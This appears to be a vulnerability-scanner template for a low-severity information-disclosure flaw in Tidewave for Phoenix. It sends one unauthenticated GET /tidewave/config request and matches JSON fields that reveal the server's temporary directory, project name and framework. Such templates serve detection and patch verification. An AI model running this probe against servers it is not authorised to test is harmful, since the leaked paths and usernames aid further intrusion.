id: CVE-2026-109823

info:
  name: "Tidewave for Phoenix - Unauthenticated Project Path Disclosure"
  author: vedas-arpsyndicate
  severity: low
  description: |
    Tidewave for Phoenix (tidewave from 0.8.0 before 0.9.2) serves its configuration
    endpoint without validating the Host header, so any caller that can reach the server
    (including a DNS-rebinding page whose same-origin request carries no Origin header)
    can read the Tidewave configuration. The JSON envelope returned by GET /tidewave/config
    discloses the server-side temporary directory (tmp_dir), the project name and framework
    type, which reveal the local username and project layout. This template issues an
    unauthenticated GET /tidewave/config and confirms the path-disclosing configuration
    envelope, whose tmp_dir field is removed in the fixed 0.9.2 release.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-109823&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tidewave&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
    cve-id: CVE-2026-109823
    cwe-id: CWE-497
  metadata:
    verified: false
  tags: cve,cve2026,tidewave,phoenix,exposure,info-leak
http:
  - raw:
      - |
        GET /tidewave/config HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"framework_type\""
          - "phoenix"
          - "\"tidewave_version\""
          - "\"project_name\""
          - "\"tmp_dir\""
        condition: and
      - type: word
        part: header
        words:
          - "application/json"
      - type: status
        status:
          - 200